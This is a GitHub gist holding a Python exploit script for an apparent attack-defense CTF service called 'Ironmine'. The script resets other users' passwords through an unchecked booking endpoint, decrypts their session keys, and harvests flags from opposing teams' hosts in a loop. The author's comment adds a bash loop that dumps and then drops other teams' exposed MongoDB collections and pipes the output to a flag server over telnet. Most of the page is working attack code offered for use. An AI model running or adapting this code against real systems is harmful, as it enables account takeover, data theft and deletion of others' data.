Skip to content

Instantly share code, notes, and snippets.

@ei-grad
Created May 25, 2013 05:23
Show Gist options
  • Select an option

  • Save ei-grad/5648009 to your computer and use it in GitHub Desktop.

Select an option

Save ei-grad/5648009 to your computer and use it in GitHub Desktop.
Ironmine exploit
#!/usr/bin/env python
import sys
import logging
from time import sleep
from collections import defaultdict
import socket
from urllib import urlencode
import re
from threading import Thread, Lock
from urllib import urlopen
from hashlib import sha256
from crypt import encrypt, decrypt
FLAGS = set(i.strip() for i in open('flags2.txt'))
FLAGS_LOCK = Lock()
USER_RE = re.compile(r'[a-zA-Z0-9]{32}')
TIME_RE = re.compile(r'[0-9]+\.[0-9]+')
FLAG_RE = re.compile(r'[a-z0-9]{32}')
PASSWORD = 'NhGZP7jYUB4yMqho'
PHASH = sha256(PASSWORD).hexdigest()
logging.basicConfig(level=logging.DEBUG)
socket.setdefaulttimeout(10)
class Worker(Thread):
def __init__(self, host):
super(Worker, self).__init__()
self.host = host
self.flags = set()
self.users = set()
self.bad_users = defaultdict(lambda: 0)
self.status = 'good'
def url(self, uri):
if not uri.endswith('/'):
uri = uri + '/'
return 'http://%s:1145/%s' % (self.host, uri)
def get_new_users(self):
users = set(USER_RE.findall(urlopen(self.url('bookings')).read()))
return users - self.users
def set_password(self, user, password):
resp = urlopen(self.url('book'), urlencode({
'username': user,
'password': password,
'count': 1,
'date': 'today'
}))
assert resp.code == 200
def get_ticket(self, user):
self.set_password(user, PASSWORD)
# get key and ticket from auth_server
sock = socket.socket()
sock.connect((self.host, 1165))
f = sock.makefile()
# prompt
logging.debug(f.readline())
sock.send('%s\n' % user)
# prompt with time
data = f.readline()
logging.debug(data)
try:
time = float(TIME_RE.findall(data)[0])
except IndexError:
time = None
session_key = f.readline().split()[-1][:-1]
session_key = decrypt(PHASH.decode('hex'), session_key.decode('hex'))
tkt = f.readline().split()[-1][1:-1].split(',')
sock.close()
return time, session_key, tkt
def get_flag(self, user, session_key, tkt):
sock = socket.socket()
sock.connect((self.host, 1135))
f = sock.makefile()
assert f.readline() == 'Welcome to the Iron Museum. Can I see your ID?\r\n'
sock.send('%s\n' % user)
f.readline() == 'Your ticket, please?\r\n'
sock.send('(%s)\n' % ','.join(tkt))
#assert decrypt(session_key, f.readline().strip().decode('hex')) == 'What can I do for you? (you can get "help" if you want)'
f.readline()
sock.send(encrypt(session_key, 'checkroom get stuff').encode('hex') + '\n')
return decrypt(session_key, f.readline().strip().decode('hex'))
def run(self):
while True:
try:
users = self.get_new_users()
for user in users:
try:
time, session_key, tkt = self.get_ticket(user)
flag = self.get_flag(user, session_key, tkt)
self.users.add(user)
if FLAG_RE.match(flag) is None:
continue
with FLAGS_LOCK:
if flag not in FLAGS:
FLAGS.add(flag)
print(flag)
with open('flags2.txt', 'a') as f:
f.write('%s\n' % flag)
if self.status == 'bad':
self.status = 'good'
except:
if self.bad_users[user] == 0:
logging.debug('bad user %s on %s', user, self.host,
exc_info=True)
self.bad_users[user] += 1
if self.bad_users[user] > 5:
self.users.add(user)
except IOError as e:
if self.status == 'good':
logging.debug('error on %s: %s', self.host, str(e))
self.status = 'bad'
except Exception:
logging.debug('error on %s', self.host, exc_info=True)
sleep(60)
if __name__ == "__main__":
if len(sys.argv) > 1:
hosts = sys.argv[1:]
else:
hosts = ['172.17.%d.3' % i for i in [1,2,3,4,5,6,7,9,10]]
threads = [Worker(host) for host in hosts]
for thread in threads:
thread.start()
for thread in threads:
thread.join()
@ei-grad
Copy link
Copy Markdown
Author

ei-grad commented May 25, 2013

A frontpage.py script didn't check the existance of user, and it allowed to change the user password, which was used to encrypt session_key.

ps. there were some teams with open mongodb port:

while true
do
    for i in 4 7 9
        do echo -n $i >&2
        mongo 172.17.$i.3/ironmine <<< 'db.checkroom.find();' | egrep -o '[a-f0-9]{32}' && \
        mongo 172.17.$i.3/ironmine <<< 'db.checkroom.drop();' >&2
        echo -n ".." >&2
    done
    echo >&2
    sleep 10
done | telnet 10.0.0.2 16000

db.checkroom.drop() is there because the last records from .find() were not displayed by mongo client

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment